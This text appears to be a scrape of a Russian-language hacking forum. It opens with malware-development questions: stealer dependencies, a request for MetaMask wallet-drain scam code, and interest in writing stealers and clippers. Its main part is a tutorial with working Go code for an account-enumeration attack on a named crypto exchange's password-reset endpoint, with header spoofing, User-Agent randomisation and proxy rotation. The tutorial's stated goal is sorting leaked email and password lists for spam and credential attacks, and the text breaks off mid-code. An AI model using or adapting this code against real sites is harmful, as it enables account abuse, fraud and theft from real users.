winapi = { version = "0.3.9", features = ["dpapi", "wincrypt", "wincon", "winuser", "winnls", "errhandlingapi"] }
rusqlite = { version = "0.29.0", features = ["bundled"] }
serde = { version = "1.0", features = ["derive"] }
rand = "0.8.5"
tar = "0.4.39"
flate2 = "1.0.26"
futures = "0.3.28"
tokio = { version = "1", features = ["full"] }
reqwest = { version="0.11.18", features = ["blocking"] }
И стоит ли вообще заморачиваться мне над весом? Если да, то какие есть методы для этого?
Какой сейчас компилятор асм самый актуальный под виндовс? Fasm, nasm, yasm, masm, etc
Сап кис.
Я достаточно уверенно владею JS, и веб разработкой, ну или думаю так, вопрос в
другом. Потенциальная точка роста для меня это десктоп апп, и возможно,
мальвари.
Мне сложно оценить написание мальвари, поскольку сложно понять сколько времени
это займет. Но время у меня есть, в любом случае, мне мало что интересно в
целом.
Мне не подходит пайтон поскольку он не стоит по деффолту и плох для десктоп апп (я так слышал).
Я так понимаю, что лучше всего для меня подойдет C#? Я также слышал про Руби, и про раст (но я не сильно знаю, в чем в них отличия) Минусом шарпа я вижу его ориентированность на Win системы.
- Какой ЯП выбрать? C#, верно? Или смотреть в сторону руби/раста (тут
очевидно глупо что я не знаю чем они между собой отличаются)? Где больше
исходников, что проще изучить? Что имеет больше потенциала?
- Сколько времени у меня займет до уверенного владения, я могу взять за ~ пол
года?
- Ну и до мальвари (допустим стиллер) у меня уйдет больше года, верно?
Я знаю что вы не очень любите такие темы, но я всеже решил ее создать.
Trying out new languages. This book is filled with ideas
Есть условный сайт с авторизацией по кошельку Метамаск. Есть же способ отправлять пользователю транзакцию на подпись, но не простую, а дающую доступ в его кошелек? Буду рад примерам кода подобного скама.
Привет. Хочу выполнить команду powershell из файла формата .com. Не могу найти об этом информации, но вроде как это возможно. Может кто-то знает ответ ?
Помогите скомпилить код, никак не получается
#include "Әплюсплюс.hpp"
куярга Татарлар::юл_бетте инде
башларга() {
сан сан1 = 10 инде
булганда (сан1 > 0) {
Татарлар::карагыз << сан1 << юл_бетте инде
сан1 = сан1 - 1 инде
}
}
взят отсюда https://github.com/xi816/EaPP
Пишу программу ну ассемблере, при вызове LoadLibraryA("winhttp.dll") происходит ошибка, НО!, что очень интересно, если в файле есть секция импорта и где угодно есть вызов функции из User32.dll например то LoadLibraryA завершается без ошибок!!
Вызов LoadLibraryA с закоментированным вызовом MessageBoxA в конце файла результат ниже
Ошибка
Теперь в этой же программе убираю комментарий с вызова MessageBoxA в конце
файла-
И что же я вижу в отладчике
Функция вызвалась успешно, как так я не понимаю, кто знает что происходит и
как справить прошу отпишите.
Если вам нужен исходный код или исполняемые файлы то вот:
https://dropmefiles.com/6TiiF
Файл sample1.exe это файл без вызова MessageBoxA, source1 - его
исходный код.
Файл sample2.exe это файл с вызовом MessageBoxA, ну и source2 его
исходный код.
Для простого понимания что я ищу, возьму пример
https://haveibeenpwned.com/Passwords или https://haveibeenpwned.com/ там
содержится несколько миллиардов строк, базы могут весить более 1 ТБ.
И на удивление, поиск занимает около 1 секунды. Даже не 10 секунд, не минуту,
а около 1-2 сек.
Так вот. Кто знает такое решение? Это кастомная разработка или уже готовая
система поиска? Ведь если с нуля разрабатывать на любом ЯП данный поиск, то он
в любом случае будет занимать более чем 1 секунду поиска. А здесь ровно 1-2
сек отклик на запрос.
Буду благодарен за любую полезную информацию.
с чат GPT накатал бота телеграмм, в него можно писать, отправлять файлы, медиа.
Code:Copy to clipboard
package main
import (
"fmt"
"log"
"strconv"
"strings"
"time"
"github.com/go-telegram-bot-api/telegram-bot-api/v5"
"github.com/tidwall/buntdb"
)
var (
botToken = "ТОКЕН"
adminChatID = int64(64834138) // ID администратора
dbFile = "bot_logs.db" // Файл базы данных
replyingTo = make(map[int64]int64) // Контекст ответа: админ -> пользователь
broadcastMode = false // Режим рассылки
unbanMode = false // Режим разблокировки
)
func main() {
bot, err := tgbotapi.NewBotAPI(botToken)
if err != nil {
log.Panic(err)
}
// Открытие или создание базы данных
db, err := buntdb.Open(dbFile)
if err != nil {
log.Fatal(err)
}
defer db.Close()
log.Printf("Authorized on account %s", bot.Self.UserName)
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
updates := bot.GetUpdatesChan(u)
for update := range updates {
if update.Message != nil {
if update.Message.From.ID == adminChatID {
handleAdminMessage(bot, update, db)
} else {
handleUserMessage(bot, update, db)
}
}
if update.CallbackQuery != nil {
handleCallback(bot, update.CallbackQuery, db)
}
}
}
// Обработка сообщений от пользователей
func handleUserMessage(bot *tgbotapi.BotAPI, update tgbotapi.Update, db *buntdb.DB) {
userID := update.Message.From.ID
userMessage := update.Message.Text
chatID := update.Message.Chat.ID
if isUserBlocked(db, userID) {
return
}
logMessage(db, userID, userMessage, "User")
forwardMessageToAdmin(bot, update, adminChatID, userID)
response := tgbotapi.NewMessage(chatID, "Ваше сообщение отправлено администратору.")
bot.Send(response)
}
// Обработка сообщений от администратора
func handleAdminMessage(bot *tgbotapi.BotAPI, update tgbotapi.Update, db *buntdb.DB) {
adminID := update.Message.From.ID
message := update.Message.Text
if userID, ok := replyingTo[adminID]; ok {
replyToUser(bot, userID, message)
delete(replyingTo, adminID)
return
}
switch message {
case "/banlist":
sendBanList(bot, adminID, db)
case "/chat":
broadcastMode = true
msg := tgbotapi.NewMessage(adminID, "Введите сообщение для рассылки всем пользователям.")
bot.Send(msg)
case "/unban":
unbanMode = true
msg := tgbotapi.NewMessage(adminID, "Введите ID пользователя для разблокировки.")
bot.Send(msg)
default:
if broadcastMode {
broadcastMessage(bot, message, db)
broadcastMode = false
}
if unbanMode {
userID, err := strconv.ParseInt(message, 10, 64)
if err != nil {
msg := tgbotapi.NewMessage(adminID, "Некорректный ID пользователя.")
bot.Send(msg)
return
}
unblockUser(db, userID)
msg := tgbotapi.NewMessage(adminID, fmt.Sprintf("Пользователь %d разблокирован.", userID))
bot.Send(msg)
unbanMode = false
} else {
msg := tgbotapi.NewMessage(adminID, "Используйте кнопки для управления.")
bot.Send(msg)
}
}
}
// Обработка callback-запросов
func handleCallback(bot *tgbotapi.BotAPI, callback *tgbotapi.CallbackQuery, db *buntdb.DB) {
data := strings.Split(callback.Data, ":")
action := data[0]
userID, _ := strconv.ParseInt(data[1], 10, 64)
switch action {
case "block":
blockUser(bot, userID, callback, db)
case "reply":
prepareReply(bot, userID, callback)
case "delete":
deleteMessage(bot, callback)
}
}
// Блокировка пользователя
func blockUser(bot *tgbotapi.BotAPI, userID int64, callback *tgbotapi.CallbackQuery, db *buntdb.DB) {
logAction(db, "Blocked", userID)
msg := tgbotapi.NewMessage(callback.Message.Chat.ID, fmt.Sprintf("Пользователь %d заблокирован.", userID))
bot.Send(msg)
}
// Разблокировка пользователя
func unblockUser(db *buntdb.DB, userID int64) {
db.Update(func(tx *buntdb.Tx) error {
tx.Delete(fmt.Sprintf("blocked:%d", userID))
return nil
})
}
// Подготовка ответа пользователю
func prepareReply(bot *tgbotapi.BotAPI, userID int64, callback *tgbotapi.CallbackQuery) {
replyingTo[callback.Message.Chat.ID] = userID
msg := tgbotapi.NewMessage(callback.Message.Chat.ID, "Введите сообщение для отправки пользователю.")
bot.Send(msg)
}
// Удаление сообщения у админа
func deleteMessage(bot *tgbotapi.BotAPI, callback *tgbotapi.CallbackQuery) {
del := tgbotapi.NewDeleteMessage(callback.Message.Chat.ID, callback.Message.MessageID)
bot.Send(del)
msg := tgbotapi.NewMessage(callback.Message.Chat.ID, "Сообщение удалено.")
bot.Send(msg)
}
// Логирование сообщений и действий
func logMessage(db *buntdb.DB, userID int64, message string, sender string) {
db.Update(func(tx *buntdb.Tx) error {
key := fmt.Sprintf("%d:%s", time.Now().Unix(), sender)
tx.Set(key, fmt.Sprintf("User: %d, Message: %s", userID, message), nil)
return nil
})
}
// Логирование действий
func logAction(db *buntdb.DB, action string, userID int64) {
db.Update(func(tx *buntdb.Tx) error {
tx.Set(fmt.Sprintf("blocked:%d", userID), "true", nil)
return nil
})
}
// Проверка на блокировку
func isUserBlocked(db *buntdb.DB, userID int64) bool {
blocked := false
db.View(func(tx *buntdb.Tx) error {
_, err := tx.Get(fmt.Sprintf("blocked:%d", userID))
if err == nil {
blocked = true
}
return nil
})
return blocked
}
// Рассылка сообщений всем пользователям
func broadcastMessage(bot *tgbotapi.BotAPI, message string, db *buntdb.DB) {
db.View(func(tx *buntdb.Tx) error {
tx.AscendKeys("user:*", func(key, value string) bool {
userID, _ := strconv.ParseInt(strings.TrimPrefix(key, "user:"), 10, 64)
msg := tgbotapi.NewMessage(userID, message)
bot.Send(msg)
return true
})
return nil
})
}
// Отправка списка заблокированных пользователей
func sendBanList(bot *tgbotapi.BotAPI, chatID int64, db *buntdb.DB) {
var banList []string
db.View(func(tx *buntdb.Tx) error {
tx.AscendKeys("blocked:*", func(key, _ string) bool {
userID := strings.TrimPrefix(key, "blocked:")
banList = append(banList, userID)
return true
})
return nil
})
if len(banList) == 0 {
msg := tgbotapi.NewMessage(chatID, "Нет заблокированных пользователей.")
bot.Send(msg)
} else {
msg := tgbotapi.NewMessage(chatID, "Заблокированные пользователи:\n" + strings.Join(banList, "\n"))
bot.Send(msg)
}
}
// Пересылка сообщения администратору
func forwardMessageToAdmin(bot *tgbotapi.BotAPI, update tgbotapi.Update, adminID int64, userID int64) {
var msg tgbotapi.Chattable
if update.Message.Document != nil {
msg = tgbotapi.NewDocument(adminID, tgbotapi.FileID(update.Message.Document.FileID))
} else if len(update.Message.Photo) > 0 {
msg = tgbotapi.NewPhoto(adminID, tgbotapi.FileID(update.Message.Photo[0].FileID))
} else if update.Message.Video != nil {
msg = tgbotapi.NewVideo(adminID, tgbotapi.FileID(update.Message.Video.FileID))
} else if update.Message.Audio != nil {
msg = tgbotapi.NewAudio(adminID, tgbotapi.FileID(update.Message.Audio.FileID))
} else {
msg = tgbotapi.NewMessage(adminID, update.Message.Text)
}
if msg != nil {
bot.Send(msg)
}
// Добавляем кнопки
buttons := []tgbotapi.InlineKeyboardButton{
tgbotapi.NewInlineKeyboardButtonData("Блокировать", fmt.Sprintf("block:%d", userID)),
tgbotapi.NewInlineKeyboardButtonData("Ответить", fmt.Sprintf("reply:%d", userID)),
tgbotapi.NewInlineKeyboardButtonData("Удалить", fmt.Sprintf("delete:%d", userID)),
}
inlineKeyboard := tgbotapi.NewInlineKeyboardMarkup(buttons)
msgWithButtons := tgbotapi.NewMessage(adminID, fmt.Sprintf("Сообщение от пользователя %d", userID))
msgWithButtons.ReplyMarkup = inlineKeyboard
bot.Send(msgWithButtons)
}
// Отправка сообщения пользователю от администратора
func replyToUser(bot *tgbotapi.BotAPI, userID int64, message string) {
msg := tgbotapi.NewMessage(userID, message)
bot.Send(msg)
}
вопрос такой встал. есть ли смысл учить котлин для вирусологии? в своих личных
целях или работать на заказ. думаю сейчас перейти с с# на котлин.
поискал по форумам - ни разу на котлине стиллеров\майнеров\крипто-шуфлеров
(подмена реквизитов) и т.д не видел. вот и интересуюсь. неужели на этом яп
только официальщину писать?
_Автор:miserylord
Эксклюзивно для форума:
_xss.is
Трям! Здравствуйте! Меня всё ещё зовут miserylord!
Код, представленный в статье, реализует атаку на уязвимость перебора учетных записей (account enumeration vulnerability). В доменной зоне .su эту уязвимость называют регчекером. Суть атаки заключается в использовании техники брутфорса для проверки, действительно ли пользователь с определенным идентификатором зарегистрирован на сайте.
В статье подробно рассматривается подготовка к атаке, написание кода на языке программирования Golang, а также последующий рефакторинг для масштабирования атаки и переиспользования кода в дальнейшем.
Для лучшего понимания кода рекомендую ознакомиться с предыдущей статьей про брутфорс почтовых ящиков с использованием протокола IMAP, особенно внимательно с главами, посвященными конкурентности, и с комментариями к коду, описывающими особенности работы Golang.
Демонстрация проводится на тестовом стенде одной из вымышленных криптобирж, которая никогда не существовала в реальности. Все совпадения с реальными объектами являются случайными.
Разделы
Spoiler: Пролог
Почему?
Бизнес-ценность атаки состоит в отсеивании необходимых почтовых адресов из рандомизированного пула с целью повышения эффективности работы. Примером может быть спам-рассылка только определённой целевой аудитории, полученной после отсева. Если же база данных содержит пароли, они могут быть использованы для последующей брутфорс-атаки на другие ресурсы.
Предположим, мы заняты в сфере криптовалют и у нас есть рандомизированная база почт с паролями. Но нас интересуют лишь те, которые имеют отношение к криптовалютной тематике. Возможно, мы хотим использовать пароли в дальнейшей атаке по словарю на незащищённые кошельки. (Тема может быть любой другой: другая ниша, другая страна.) С чего начать?
Веб сайты под капотом
Начнем с небольшого необходимого упрощеного теоритического введения.
Внешняя оболочка сайта, весь дизайн, все кнопки по сути инкапсулируют взаимодействие с API. API можно определить как интерфейс для общения машин; во всем внешнем представлении лежит лишь маркетинговый смысл для общения людей. При нажатии абстрактной кнопки Log In отправляется запрос по адресу API, в целом он выглядит точно так же, как и адрес в строке браузера на любом сайте, только работает иначе и называется эндпоинтом. Как правило, он ожидает получить данные в заранее определенном формате, провалидировать их, затем обратиться к базе данных, получить от нее обратную связь и в зависимости от сценария, по которому пошло взаимодействие, отправить ответ. Хотя в целом API может делать что угодно или не делать чего-то из того, что я описал, это лишь абстрактный интерфейс.
Существуют так называемые публичные API — это открытые API с описанной документацией всех возможностей. Но существуют так называемые скрытые API — мы точно не знаем об их существовании, об их ответах, о данных, которые они принимают.
Во время взаимодействия с сайтом браузер отправляет и принимаем запросы по сети к различным адресам. Всю историю взаимодействия с которыми можно увидить открыв панель разработчика и перейдя во вкладку Network. Там подробно изложена история запросов и ответов, в том числе обращения ко всем API.
Запрос состоит из заголовков, которые мы отправляем, заголовков, которые мы принимаем, payload, который мы отправляем, а также тела ответа, которое получаем в итоге. Этих знаний будет достаточно что бы идти дальше.
Психология веб сайтов
Во первых, сайты, как правило, предпочитают не раскрывать информацию о пользователях, на них отсудствует прямая возможность спросить, зарегистирован ли пользователь с имейлом икс или же нет. Хотя из этого правила есть исключения. Насколько я помню, GitHub позволяет без ограничений получить информацию по юзернейму, так что если стоит задача получить базу программистов, то это может быть полезно. В любом случае могут быть такие участки, которые косвенно раскроют такую информацию.
Во вторых, сайты, как правило, не реализуют модель доброжелательных отношений к своим абьюзерам, и дело не в том, что у машин отсутствует стокгольмский синдром или эмпатия, а в том, что современные сайты использует так называемую облачную модель хостинга с динамическим расширяющимися характеристиками. То есть если к сайту происходит 10 запросов в минуту, плата за сервер составит 10 условных единиц, а если сверху придет десяток тысяч, то плата превратися в 10 плюс десяток тысяч условных единиц.
Для ограничение количества запросов сайты могут использовать капчу, и это вовсе не то, что хорошо со стороны абьюза, поскольку цена за проверку из константной превращается в квадратичную. (каждая разгадка капчи стоит денег)
После всего этого можно начинать.
Отбор кандидатов
Выбор ресурса начинается с поиска самых популярных сайтов в нише, в случае криптовалют это криптовалютные биржи. Доступные инструменты - Google, списки, агрегаторы, SimilarWeb, форумы. Проверку посещаемости ресурса можно осуществить на сайте PR-CY. Чем популярнее ресурс, тем лучше он удовлетворяет критерию.
Сайты не хотят раскрывать информацию о зарегистрированных пользователях, но в каких случаях такая информация может быть раскрыта? Какой интерфейс можно использовать для обращения к какому эндпоинту, передавая электронный адрес и получая в ответ результат? Таких участков несколько:
Резюмируя, проходимся по сайтам которые отобрали заранее, анализируем траффик используя панель разработчика в поиске так называемых скрытых API. Нужный запрос будет носить названия типа "check", "login" и содержать в payload переданные данные, в данном случае нас интересуют имейлы. Если в запросе есть капча, то в payload также передается токен капчи (он будет называться типа "recaptcha_token"). Если на сайте есть капча не обезательно что она валидируется, так будет почти всегда, и все же проверять капчу необходимо именно по API а не по фронтенду. Также обращаем внимание на ответ, ответ для зарегистированного имейла на сайте, и для незарегестированого должны явно отличатся.
Spoiler: Атака
Отбор кандидата
Переходим к практике. Задача заключается в том, чтобы отобрать электронные адреса криптовалютной тематики из рандомизированного пула.
Можно предположить, что местом скопления целевой аудитории будут криптовалютные биржи. Следовательно, находим список популярных криптобирж, например, на CoinMarketCap.
По результатам проверки пятидесяти ресурсов, большинство из которых не удовлетворяли критериям, осталось несколько кандидатов, из которых была выбрана биржа weex. Эта биржа входит в топ-50 по популярности и капитализации. Согласно данным PC-RY, она имеет более трех миллионов пользователей в месяц и входит в топ 25 тысяч по популярности сайтов в мире.
На странице восстановления пароля явно раскрывается информация.
Если подставить незарегистрированный электронный адрес, сервер ответит "User not exist" (как на скриншоте). Если же ранее зарегистрированный адрес, то в ответе будут как поле starEmail, так и слово success, по которым можно идентифицировать наличие пользователя на сайте. Помимо прочего, ответ содержит поле phone, что может указывать на частичное или полное раскрытие информации о мобильном телефоне пользователя по электронной почте.
Взглянув на пейлод, может создаться ложное впечатление о наличии капчи на сайте.
JSON:Copy to clipboard
{loginName: "lioncat3@gmail.com", captchaValidate: "", captchaType: 1, languageType: 0}
Но на самом деле это не так. Это просто какая-то рандомная единица, которая передается с запросом. Возможно, капча была там ранее или должна была быть когда-то, но гибкий кабан скрам дал осечку, и про нее уже все забыли. Впрочем, возможно, у этой цифры есть какое-то предназначение, но это в целом не меняет происходящего. Сайт не требует капчу.
Приступаем к написанию кода.
Первая версия программы
C-like:Copy to clipboard
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
)
func main() {
// 1
url := "https://gateway1.weex.com/v1/user/forget-pwd/confirm"
// 2
payload := map[string]interface{}{
"captchaType": 1,
"captchaValidate": "",
"languageType": 0,
"loginName": "gmail@gmail.com",
}
// 3
jsonData, err := json.Marshal(payload)
if err != nil {
fmt.Println("Error marshalling JSON:", err)
return
}
// 4
req, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
if err != nil {
fmt.Println("Error creating request:", err)
return
}
// 5
req.Header.Set("Accept", "application/json, text/plain, */*")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Content-Type", "application/json;charset=UTF-8")
req.Header.Set("Language", "en_US")
req.Header.Set("Locale", "en_US")
req.Header.Set("Origin", "https://www.weex.com")
req.Header.Set("Referer", "https://www.weex.com/")
req.Header.Set("Terminalcode", "85412841dhdjs325211224nfksb8613d")
req.Header.Set("Terminaltype", "1")
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36")
req.Header.Set("Vs", "77gecyt2TLaHTQk1739LFNB108mxx189")
req.Header.Set("X-Sig", "bki17317747117c78194718d99177dk9")
req.Header.Set("X-Timestamp", "8713174713737")
// 6
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error making request:", err)
return
}
defer resp.Body.Close()
// 7
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response body:", err)
return
}
// 8
fmt.Println("Response Status:", resp.Status)
fmt.Println("Response Body:", string(body))
}
URL для обращения находится в заголовках, параметр Request URL. Пейлод находится во вкладке Payload, формат пейлода, который отображается в девтузл - JSON (будьте внимательны с типами данных).
Заголовки находятся во вкладке Headers, те, что передаются от нас, называются Request Headers. В коде их меньше, чем в браузере. Изначально можно пробовать все и удалять лишние (без которых запрос проходит), либо от обратного добавлять по несколько и смотреть на результат.
Пару слов про заголовки - Accept передает информацию о клиенте (формат данных, который готовы принять, поддерживаемые методы сжатия, предпочтительные языки). Они обязательны для запроса, так же как и Content-Type, в котором передается информация серверу о формате файла, который будет получен. Language и Locale передают информацию о языке и локации клиента. Origin и Referer указывают на то, с какого сайта и с какой конкретно страницы идет запрос. User-Agent сообщает информацию о браузере и операционной системе. Terminalcode, Terminaltype и Vs - специфические заголовки для этого сайта, вероятно, они как-то идентифицируют устройство. X-Sig передает токен, X-Timestamp - время; если они не валидны, запрос не проходит. Timestamp, вероятно, ограничивает дату валидности токена. Это похоже на JWT токен. Теоретически они также могут ограничивать количество запросов, но с данными параметрами этого не произошло, пока я работал над программой. Очень теоретически X-Sig может учитывать User- Agent при формировании токена (судя по одной из реализаций с GitHub), но здесь этого не происходит.
Я выбросил ряд заголовков, в том числе связанных с безопасностью (Sec); они не являются обязательными в данном запросе. Впрочем, если код, который ранее работал, сломался - первым делом я бы изучал заголовки, в том числе ранее отброшенные.
Первая версия программы готова! Переходим к масштабированию проекта.
Spoiler: Усиление
Проектирование
Для рефакторинга кода будет использоваться вольная интерпретация MVC паттерна. Логика отправки запроса, проверки ответа и контроля количества запросов будет разбита по структуре и функциям и отделена друг от друга.
Создадим несколько папок и файлов в них:
service_helper.go
В файле service_helper.go реализуем две функции: getPayload и getHeader. Они будут относиться к пакету service (пакеты будут соответствовать папкам).
C-like:Copy to clipboard
package service
import (
"encoding/json"
"fmt"
"net/http"
"regchek/config"
"regchek/tools"
)
// 1
func (s *Service) getPayload(email string) ([]byte, error) {
payload := map[string]interface{}{
"captchaType": 1,
"captchaValidate": "",
"languageType": 0,
"loginName": email,
}
// 2
jsonData, err := json.Marshal(payload)
if err != nil {
return nil, fmt.Errorf("error marshalling JSON: %w", err)
}
return jsonData, nil
}
// 3
func (s *Service) getHeader(req *http.Request, goRoutineID int) {
req.Header = http.Header{
"Accept": {"application/json, text/plain, */*"},
"Accept-Encoding": {"gzip, deflate, br, zstd"},
"Accept-Language": {"en-US,en;q=0.9"},
"Content-Type": {"application/json;charset=UTF-8"},
"Language": {"en_US"},
"Locale": {"en_US"},
"Origin": {"https://www.weex.com"},
"Referer": {"https://www.weex.com/"},
"Terminalcode": {"85412841dhdjs325211224nfksb8613d"},
"Terminaltype": {"1"},
// 4
"User-Agent": {config.UserAgents[tools.GenerateRandomNubmer(goRoutineID, len(config.UserAgents)-1)]},
"Vs": {"77gecyt2TLaHTQk1739LFNB108mxx189"},
"X-Sig": {"bki17317747117c78194718d99177dk9"},
"X-Timestamp": {"8713174713737"},
}
}
Рандомизация User-Agent снижает вероятность блокировки со стороны сайта. Списки существующих User-Agent можно найти на GitHub. Возьмем несколько из репозитория: <https://github.com/tamimibrahim17/List-of-user- agents/tree/master> и создадим файл ua.go в папке config.
C-like:Copy to clipboard
package config
// 1
var UserAgents = []string{
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36",
"Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5",
}
Для публичных переменных используется верхний регистр первого символа.
В папке tools создадим файл random.go и реализуем функцию генерации случайных чисел:
C-like:Copy to clipboard
package tools
import (
"math/rand"
"regchek/config"
"strings"
"time"
)
// 1
func GenerateRandomNubmer(goRoutineID int, max int) int {
// 2
s := rand.NewSource(time.Now().Unix() + int64(goRoutineID))
// 3
r := rand.New(s)
// 4
return r.Intn(max)
}
Работа над хелпером завершена. Переходим к реализации кода основного сервиса.
Checker (service.go)
Реализуем метод Checker в файле service.go.
C-like:Copy to clipboard
package service
import (
"bytes"
"crypto/tls"
"fmt"
"io"
"log"
"net"
"net/http"
"net/url"
"regchek/config"
"regchek/tools"
"strings"
"time"
"golang.org/x/net/proxy"
)
// 1
type Service struct {
URL string
}
// 2
func (s *Service) Checker(email string, proxy string, goRoutineID int) {
// 3
transport := s.setDefaultTransport()
// 4
if config.ProxyType != "none" {
proxyInfo, err := tools.ProxyParser(proxy)
if err != nil {
log.Println("Error:", err)
} else {
transport = s.setProxyTransport(proxyInfo)
}
}
// 5
client := &http.Client{
Timeout: time.Second * 10,
Transport: transport,
}
// 6
finalURL := s.URL
// 7
payload, err := s.getPayload(email)
if err != nil {
log.Fatal("Something is wrong with the formation of payload, critical error, the program has stopped", err)
}
// 8
req, err := http.NewRequest("POST", finalURL, bytes.NewBuffer(payload))
if err != nil {
log.Fatal("Something is wrong with creating of request, critical error, the program has stopped", err)
}
// 9
s.getHeader(req, goRoutineID)
// 10
resp, err := client.Do(req)
if err != nil {
log.Printf("Error doing request: %v", err)
s.Checker(email, tools.GetRandomProxy(goRoutineID), goRoutineID)
return
}
// 11
defer resp.Body.Close()
// 12
body, err := io.ReadAll(resp.Body)
if err != nil {
log.Printf("Error reading body: %v", err)
s.Checker(email, tools.GetRandomProxy(goRoutineID), goRoutineID)
return
}
// 13
err = s.emailVerification(string(body), email)
if err != nil {
s.Checker(email, tools.GetRandomProxy(goRoutineID), goRoutineID)
return
} else {
return
}
}
Методы структур — это функции, которые имеют связь с конкретным типом данных (структурой). Рекурсия — это вызов функций от лица её самой.
Перед самой публикацией этой статьи, перечитывая код, я обнаружил ошибку в реализаций, возможно вы уже ее заметили, в случае проблем с сетью функция способна уйти в глубокую рекурсию и в итоге переполнить стек. Избежать этого можно с помощью ограничение на количество вызовов, но это в свою очередь приведет к возможному пропуску аккаунтов (если не учитывать их сохранение в отдельной области). В тоже время горутины это легковсетные потоки, с начальным размером 2 КБ, но с динимачески рассширяющимся размером до 1 ГБ и по определенным рассчетам стек будет переполнен после более чем двух миллионов вызовов в рамках одной горутины (что довольно много). Интересный момент который можно оптимизировать, хотя при нормальной работе такой сценарий маловероятен.
Код для установки транспорта по умолчанию будет переиспользоваться, поэтому имеет смысл вынести его в отдельный метод setDefaultTransport.
C-like:Copy to clipboard
func (s *Service) setDefaultTransport() *http.Transport {
// 1
return &http.Transport{
// 2
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
}
Добавляем прокси
В папке config создадим файл proxy.go. Конфигурация установит тип прокси, ограничит использование значений, позволит обновлять их, а также будет хранить список прокси (которые будут добавляться из текстового файла в другой части кода):
C-like:Copy to clipboard
package config
import "errors"
// 1
type ProxyTypeEnum string
// 2
const (
HTTPS ProxyTypeEnum = "https"
SOCKS4 ProxyTypeEnum = "socks4"
SOCKS5 ProxyTypeEnum = "socks5"
)
// 3
var ProxyType ProxyTypeEnum = HTTPS
// 4
func SetProxyType(pt ProxyTypeEnum) error {
switch pt {
case HTTPS, SOCKS4, SOCKS5:
ProxyType = pt
return nil
default:
return errors.New("invalid proxy type")
}
}
// 5
var Proxies []string
В Go отсутствует понятие enum, но присутствует уникальная конструкция iota, которая способна генерировать последовательные числа при определении констант. С помощью нее можно организовать подобие enum для строковых литералов, однако это усложнит читаемость кода.
Прокси-сервер может как требовать данные для аутентификации в виде логина и пароля, так и не требовать их. Также, после того как мы получили прокси в виде строки из файла, ее необходимо правильно распарсить. Для этого напишем код в файле proxy_parser.go в папке tools:
C-like:Copy to clipboard
package tools
import (
"fmt"
"strings"
)
// 1
type ProxyInfo struct {
IP string
Port string
Username string
Password string
}
// 2
func ProxyParser(proxy string) (*ProxyInfo, error) {
// 3
parts := strings.Split(proxy, ":")
// 4
var username, password string
// 5
if len(parts) == 2 {
return &ProxyInfo{
IP: parts[0],
Port: parts[1],
}, nil
// 6
} else if len(parts) == 4 {
username = parts[2]
password = parts[3]
} else {
err := fmt.Errorf("invalid proxy format: %s", proxy)
fmt.Println(err)
return nil, err
}
return &ProxyInfo{
IP: parts[0],
Port: parts[1],
Username: username,
Password: password,
}, nil
}
В результате работы функции строка "192.168.1.1:8080:user:pass" будет разбита на срез ["192.168.1.1", "8080", "user", "pass"].
Функцию получения случайного прокси реализуем в ранее созданном файле random.go:
C-like:Copy to clipboard
// 1
func GetRandomProxy(goRoutineID int) string {
// 2
if config.ProxyType == "none" {
return ""
}
// 3
time.Sleep(500 * time.Millisecond)
// 4
proxyAmount := len(config.Proxies)
// 5
if proxyAmount == 0 {
return ""
// 6
} else if proxyAmount == 1 {
return strings.TrimSpace(
strings.TrimRight(config.Proxies[0], "\r"),
)
}
// 7
return strings.TrimSpace(
strings.TrimRight(config.Proxies[GenerateRandomNubmer(goRoutineID, proxyAmount-1)], "\r"),
)
}
Ну и наконец, реализуем функцию установки прокси транспорта setProxyTransport в файле service.go:
C-like:Copy to clipboard
// 1
func (s *Service) setProxyTransport(proxyInfo *tools.ProxyInfo) *http.Transport {
// 2
tranport := s.setDefaultTransport()
// 3
switch config.ProxyType {
// 4
case "https":
// 5
URL := fmt.Sprintf("http://%s:%s", proxyInfo.IP, proxyInfo.Port)
// 6
if proxyInfo.Username != "" && proxyInfo.Password != "" {
URL = fmt.Sprintf("http://%s:%s@%s:%s", proxyInfo.Username, proxyInfo.Password, proxyInfo.IP, proxyInfo.Port)
}
// 7
finalURL, _ := url.Parse(URL)
// 8
tranport.Proxy = http.ProxyURL(finalURL)
// 9
case "sosks4", "sosks5":
// 10
var dialer proxy.Dialer
// 11
timeout := time.Duration(5 * time.Second)
// 12
URL := fmt.Sprintf("%s://%s:%s", config.ProxyType, proxyInfo.IP, proxyInfo.Port)
// 13
if proxyInfo.Username != "" && proxyInfo.Password != "" {
URL = fmt.Sprintf("%s://%s:%s@%s:%s", config.ProxyType, proxyInfo.Username, proxyInfo.Password, proxyInfo.IP, proxyInfo.Port)
}
finalURL, _ := url.Parse(URL)
// 14
switch config.ProxyType {
// 15
case "socks4":
dialer, _ = proxy.FromURL(finalURL, &net.Dialer{Timeout: timeout})
// 16
